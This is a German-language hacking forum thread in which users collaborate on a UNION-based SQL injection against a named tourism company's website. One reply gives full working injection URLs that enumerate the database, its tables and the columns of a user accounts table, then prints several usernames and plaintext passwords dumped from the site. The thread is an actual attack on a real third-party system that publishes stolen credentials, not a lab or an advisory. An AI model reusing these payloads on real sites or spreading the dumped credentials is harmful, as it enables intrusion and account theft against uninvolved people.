2 replies to this topic

[<Kevin>]

Hallo.

Es geht um folgende Seite:

Please Login HERE or Register HERE to see this link!

.com/newsdetail.php?id=7%27

Habe letztendlich Folgendes "produziert" :

Please Login HERE or Register HERE to see this link!

.com/newsdetail.php?id=-7+union+all+select+1,group_concat%28email,0x7c,name%29,3,4,5,6,7+from+greenoas_green.user_accounts#

Leider funktioniert es nicht, ich erhalte ein Error:

[b]Warning[/b]: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [b]/home/greenoas/public_html/newsdetail.php[/b] on line [b]6

[/b]
Kann sich das jemand evtl. mal ansehen?

Edited by <Kevin>, 10 October 2014 - 14:40 Uhr.

[myman]

Geht es dir darum, das ganze händisch zu erlernen oder geht es um die Lücke selbst ?
Wenn du mal nicht weiter kommen kannst es es doch wissen willst, kann ich dir nur empfehlen das du dir mal den sqlmap output anfuckst ( mit -v 2/3 jenachdem ) und dann die queries die erzeugt werden nachgoogelst. so geht es mir bei sehr komplexen anfragen die ich teilweise nicht nachvollziehen kann.

hat mir bis jetzt gut geholfen.

[Imperial]

Datenbank
greenoas_green

Link:

http://greenoasistourism.com/newsdetail.php?id=7+UNION+SELECT+1,schema_name,3,4,5,6,7+FROM+information_schema.schemata+LIMIT+1,1+--+

Tabellen
about_us
achievements
activities
adv_images
advertizing
advice
booking
branches
brochure
candidate
career
category
category_ar
certificates
cities
cities_ar
companies
consultancy
consultant
consulting
contact
contact_us
countries
country
coursecat
courses
days
egallery
eresults
etv
evaluation
events
faq
fee
feedbackeng
gallery
gallery_cat
games
ggallery
ginformation
govt_clients
gresults
gtv
house
information
inquiry
lawyers
links
management
media_pdf
medical_inquiry
news
news2
official_image
olinks
proj_category
proj_conversastion_ar
proj_conversation
projects
properties
public
registration
registration_ar
res_timings
reservation
services
subscription
tech
times
train_plan
training
trainingar
types
uaetour
user_accounts
user_accounts_ar
user_projects
userinfo
video
visitors
welcome

Link:

greenoasistourism.com/newsdetail.php?id=7+UNION+SELECT+1,table_name,3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+0,1+--+

Columns "user_accounts"
id
choice
pname
ptel
pmobile
pfax
paddress
pemail
cname
cactivity
ctel
cfax
cbox
caddress
cemail
cmanager
ccontact
ccontact_phone
cfaxphone
user_name
password

Link:

http://greenoasistourism.com/newsdetail.php?id=7+UNION+SELECT+1,column_name,3,4,5,6,7+FROM+information_schema.columns+WHERE+table_schema=database%28%29+AND+table_name=0x757365725f6163636f756e7473+LIMIT+0,1+--+

Dump "user_accounts"
Username:Password
ae208:apwd24hz
ae508:apwd60hz
ae608:apwd72hz

Link:

http://greenoasistourism.com/newsdetail.php?id=7+UNION+SELECT+1,concat_ws%280x3a,user_name,password%29,3,4,5,6,7+FROM+greenoas_green.user_accounts+LIMIT+0,1+--+

Alles per Hand gedumpt.
Was ne Arbeit .png' class='bbc_emoticon' alt='^^' />